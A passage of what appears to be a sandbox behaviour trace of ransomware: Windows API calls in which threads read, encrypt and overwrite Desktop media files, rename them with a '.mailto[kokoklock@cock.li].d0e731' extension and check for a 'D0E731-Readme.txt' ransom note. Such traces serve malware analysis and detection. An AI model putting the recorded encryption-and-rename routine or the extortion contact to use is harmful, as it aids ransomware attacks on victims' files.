lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.397] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4940) returned 1 [0172.397] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.397] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.397] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.397] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.397] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90ed0) returned 1 [0172.397] RtlExitUserThread (Status=0x1) Thread: id = 1945 os_tid = 0xde0 [0170.748] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.251] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.251] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13cffa38 | out: lpFileSize=0x13cffa38*=72054) returned 1 [0172.251] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x11972, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.251] ReadFile (in: hFile=0x5d4, lpBuffer=0x13cffa0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13cffa08, lpOverlapped=0x0 | out: lpBuffer=0x13cffa0c*, lpNumberOfBytesRead=0x13cffa08*=0x4, lpOverlapped=0x0) returned 1 [0172.252] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.252] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.252] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.252] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057dc8 [0172.252] NtQuerySystemTime (in: CurrentTime=0x13cff9e4 | out: CurrentTime=0x13cff9e4*=132121213295608309) returned 0x0 [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x25c04a10 [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xccbe2b34 [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x2e52370f [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x5dc655e3 [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x4a31640c [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x9c19219a [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x60dcab9e [0172.252] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x1cda8ebd [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xb474a4bc [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x80efc037 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x4ab70710 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x3fb0ecd2 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xbefe5101 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xab12cad0 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x427c94ed [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x518a4688 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xd201d0fb [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x417cb4c8 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x682bc13d [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xeb1ba9b8 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xc387b156 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xe44534c9 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x67642a37 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xdd35591 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x2a888399 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xb6d59f66 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x15a5496f [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x53082848 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xbaa174a1 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0xe671e776 [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x69d4dd0f [0172.253] RtlRandom (in: Seed=0x13cff9f0 | out: Seed=0x13cff9f0) returned 0x65c96899 [0172.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e40 [0172.373] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.373] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0172.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.373] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.373] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.373] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13cff9bc, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13cff9bc*=0x4096, lpOverlapped=0x0) returned 1 [0172.373] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057eb8 [0172.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057eb8) returned 1 [0172.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057eb8 [0172.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057eb8) returned 1 [0172.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.374] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13cff9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13cff9bc*=0x4096, lpOverlapped=0x0) returned 1 [0172.375] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.375] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x11976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.375] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13cff9f4, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13cff9f4*=0x20, lpOverlapped=0x0) returned 1 [0172.375] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.376] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.376] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057e68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13cffa08, lpOverlapped=0x0 | out: lpBuffer=0x3057e68*, lpNumberOfBytesWritten=0x13cffa08*=0x8, lpOverlapped=0x0) returned 1 [0172.376] WriteFile (in: hFile=0x5d4, lpBuffer=0x13cffa20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13cffa08, lpOverlapped=0x0 | out: lpBuffer=0x13cffa20*, lpNumberOfBytesWritten=0x13cffa08*=0x4, lpOverlapped=0x0) returned 1 [0172.376] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13cffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13cffa08*=0x4, lpOverlapped=0x0) returned 1 [0172.376] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13cffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13cffa08*=0x6c, lpOverlapped=0x0) returned 1 [0172.376] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13cffa08, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13cffa08*=0x20, lpOverlapped=0x0) returned 1 [0172.376] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13cffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13cffa08*=0x4, lpOverlapped=0x0) returned 1 [0172.376] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.376] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e40) returned 1 [0172.376] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0172.376] CloseHandle (hObject=0x5d4) returned 1 [0172.377] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1520 [0172.377] wcscpy (in: _Dest=0x2ff1520, _Source="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" [0172.377] wcscat (in: _Dest=0x2ff1520, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.377] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.377] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.378] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1520) returned 1 [0172.378] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.378] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.378] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.378] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.378] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.378] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf728) returned 1 [0172.378] RtlExitUserThread (Status=0x1) Thread: id = 1946 os_tid = 0xdec [0170.748] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.232] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.233] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13d7fb18 | out: lpFileSize=0x13d7fb18*=71258) returned 1 [0172.233] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x11656, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.233] ReadFile (in: hFile=0x5d4, lpBuffer=0x13d7faec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13d7fae8, lpOverlapped=0x0 | out: lpBuffer=0x13d7faec*, lpNumberOfBytesRead=0x13d7fae8*=0x4, lpOverlapped=0x0) returned 1 [0172.234] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d78 [0172.234] NtQuerySystemTime (in: CurrentTime=0x13d7fac4 | out: CurrentTime=0x13d7fac4*=132121213295451873) returned 0x0 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xb65be702 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xda8f2aed [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x71373799 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xe65464ab [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xf4da84db [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x2c494d82 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x38836f79 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x814f992 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x19bb8798 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xd4f344d2 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xc864d9ee [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xc19e8a34 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xe4aa8fa8 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xd6be684b [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xe3a69d04 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xbdeadd1d [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x8f017b63 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xbf4b8697 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xa66dae92 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x69926260 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xb5f735c3 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xaca83a3e [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xaa86da8b [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x20c0ce54 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x1eab2cda [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x16b41871 [0172.234] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x160626b8 [0172.235] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x8cf0c528 [0172.235] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xc274321b [0172.235] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x83e18fb3 [0172.235] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0x2474c8a [0172.235] RtlRandom (in: Seed=0x13d7fad0 | out: Seed=0x13d7fad0) returned 0xe3ee96eb [0172.244] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057dc8 [0172.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e40 [0172.246] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.246] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.247] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.247] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13d7fa9c*=0x4096, lpOverlapped=0x0) returned 1 [0172.247] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0172.247] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0172.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.248] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.248] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0172.248] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0172.248] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.248] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.248] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13d7fa9c*=0x4096, lpOverlapped=0x0) returned 1 [0172.248] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.248] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x1165a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.248] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13d7fad4, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13d7fad4*=0x20, lpOverlapped=0x0) returned 1 [0172.249] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.249] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.249] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13d7fae8, lpOverlapped=0x0 | out: lpBuffer=0x3057e40*, lpNumberOfBytesWritten=0x13d7fae8*=0x8, lpOverlapped=0x0) returned 1 [0172.249] WriteFile (in: hFile=0x5d4, lpBuffer=0x13d7fb00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13d7fae8, lpOverlapped=0x0 | out: lpBuffer=0x13d7fb00*, lpNumberOfBytesWritten=0x13d7fae8*=0x4, lpOverlapped=0x0) returned 1 [0172.249] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13d7fae8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13d7fae8*=0x4, lpOverlapped=0x0) returned 1 [0172.249] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13d7fae8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13d7fae8*=0x6c, lpOverlapped=0x0) returned 1 [0172.250] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13d7fae8, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13d7fae8*=0x20, lpOverlapped=0x0) returned 1 [0172.250] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13d7fae8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13d7fae8*=0x4, lpOverlapped=0x0) returned 1 [0172.250] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.250] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057dc8) returned 1 [0172.250] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e40) returned 1 [0172.250] CloseHandle (hObject=0x5d4) returned 1 [0172.360] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f986c0 [0172.360] wcscpy (in: _Dest=0x2f986c0, _Source="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" [0172.360] wcscat (in: _Dest=0x2f986c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.360] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3.mailto[kokoklock@cock.li].d0e731"), 